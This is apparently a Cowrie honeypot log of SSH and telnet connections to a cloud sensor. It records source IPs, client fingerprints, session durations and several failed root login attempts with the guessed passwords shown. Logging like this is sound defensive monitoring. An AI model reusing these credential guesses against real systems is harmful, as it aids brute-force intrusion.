{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:06.658379Z","src_ip":"80.66.85.226","session":"ea7a442f1a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p123456","message":"login attempt [root/p123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:06.941978Z","src_ip":"80.66.85.226","session":"ea7a442f1a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:08.040006Z","src_ip":"80.66.85.226","session":"ea7a442f1a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.24945950508118,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:13.098690Z","src_ip":"152.42.224.71","session":"712b5ff75afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.319597244262695,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:13.279947Z","src_ip":"152.42.224.71","session":"0f0b939c05ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bcbdae0b34a","protocol":"ssh","message":"New connection: 194.59.206.2:41954 (159.203.135.109:22) [session: 4bcbdae0b34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:24.004749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:24.013348Z","src_ip":"194.59.206.2","session":"4bcbdae0b34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:24.104437Z","src_ip":"194.59.206.2","session":"4bcbdae0b34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:24.200445Z","src_ip":"194.59.206.2","session":"4bcbdae0b34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48592,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb1236c0ccf4","protocol":"telnet","message":"New connection: 152.42.224.71:48592 (10.17.0.5:23) [session: fb1236c0ccf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:52.787493Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33210,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b0f976893c","protocol":"telnet","message":"New connection: 152.42.224.71:33210 (10.17.0.5:23) [session: 21b0f976893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:17.947004Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56348,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc1a839413b9","protocol":"ssh","message":"New connection: 89.223.69.22:56348 (159.203.135.109:22) [session: dc1a839413b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:18.887549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:18.892685Z","src_ip":"89.223.69.22","session":"dc1a839413b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:19.007777Z","src_ip":"89.223.69.22","session":"dc1a839413b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890-","message":"login attempt [root/1234567890-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:19.344440Z","src_ip":"89.223.69.22","session":"dc1a839413b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:20.459241Z","src_ip":"89.223.69.22","session":"dc1a839413b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46256,"dst_ip":"10.17.0.5","dst_port":23,"session":"c89d3647e1ba","protocol":"telnet","message":"New connection: 152.42.224.71:46256 (10.17.0.5:23) [session: c89d3647e1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:26.526463Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37832,"dst_ip":"159.203.135.109","dst_port":22,"session":"532f375a6753","protocol":"ssh","message":"New connection: 103.153.68.219:37832 (159.203.135.109:22) [session: 532f375a6753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:40.063396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:40.068307Z","src_ip":"103.153.68.219","session":"532f375a6753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:40.322129Z","src_ip":"103.153.68.219","session":"532f375a6753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqwww","message":"login attempt [root/qqqwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:41.087099Z","src_ip":"103.153.68.219","session":"532f375a6753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:42.344261Z","src_ip":"103.153.68.219","session":"532f375a6753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58454,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b64276309b4","protocol":"telnet","message":"New connection: 152.42.224.71:58454 (10.17.0.5:23) [session: 8b64276309b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:51.692249Z"}
{"eventid":"cowrie.session.closed","duration":36.449042081832886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:54.395936Z","src_ip":"152.42.224.71","session":"21b0f976893c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3d5729cac2c","protocol":"telnet","message":"New connection: 152.42.224.71:49436 (10.17.0.5:23) [session: c3d5729cac2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:23:59.810982Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44154,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecacfe7c839b","protocol":"telnet","message":"New connection: 152.42.224.71:44154 (10.17.0.5:23) [session: ecacfe7c839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:18.279166Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b0b3469616b","protocol":"telnet","message":"New connection: 152.42.224.71:44166 (10.17.0.5:23) [session: 4b0b3469616b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:20.256223Z"}
{"eventid":"cowrie.session.closed","duration":58.32047438621521,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:24.846702Z","src_ip":"152.42.224.71","session":"c89d3647e1ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.875651359558105,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:48.567807Z","src_ip":"152.42.224.71","session":"8b64276309b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35610,"dst_ip":"159.203.135.109","dst_port":22,"session":"738e228ee4e4","protocol":"ssh","message":"New connection: 103.195.236.96:35610 (159.203.135.109:22) [session: 738e228ee4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:51.217635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:51.223078Z","src_ip":"103.195.236.96","session":"738e228ee4e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:51.463403Z","src_ip":"103.195.236.96","session":"738e228ee4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.294421434402466,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:52.105290Z","src_ip":"152.42.224.71","session":"c3d5729cac2c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfnfitymrf","message":"login attempt [root/yfnfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:52.211451Z","src_ip":"103.195.236.96","session":"738e228ee4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00195097923279,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:52.789295Z","src_ip":"152.42.224.71","session":"fb1236c0ccf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:53.453757Z","src_ip":"103.195.236.96","session":"738e228ee4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33680,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc50fbcafbc6","protocol":"telnet","message":"New connection: 176.65.139.121:33680 (159.203.135.109:23) [session: fc50fbcafbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:56.427914Z"}
{"eventid":"cowrie.session.closed","duration":37.99583554267883,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:58.251913Z","src_ip":"152.42.224.71","session":"4b0b3469616b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56598,"dst_ip":"159.203.135.109","dst_port":22,"session":"749532a23f92","protocol":"ssh","message":"New connection: 103.172.78.219:56598 (159.203.135.109:22) [session: 749532a23f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:58.682086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:58.686994Z","src_ip":"103.172.78.219","session":"749532a23f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:58.943579Z","src_ip":"103.172.78.219","session":"749532a23f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eduard","message":"login attempt [root/eduard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:24:59.800018Z","src_ip":"103.172.78.219","session":"749532a23f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55166,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f480a24f765","protocol":"ssh","message":"New connection: 37.233.85.71:55166 (159.203.135.109:22) [session: 6f480a24f765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:00.048468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:00.066691Z","src_ip":"37.233.85.71","session":"6f480a24f765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6550090312957764,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:00.082794Z","src_ip":"176.65.139.121","session":"fc50fbcafbc6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:00.167801Z","src_ip":"37.233.85.71","session":"6f480a24f765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33710,"dst_ip":"159.203.135.109","dst_port":23,"session":"28ddce0fadae","protocol":"telnet","message":"New connection: 176.65.139.121:33710 (159.203.135.109:23) [session: 28ddce0fadae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:00.185261Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:00.473801Z","src_ip":"37.233.85.71","session":"6f480a24f765","protocol":"ssh"}
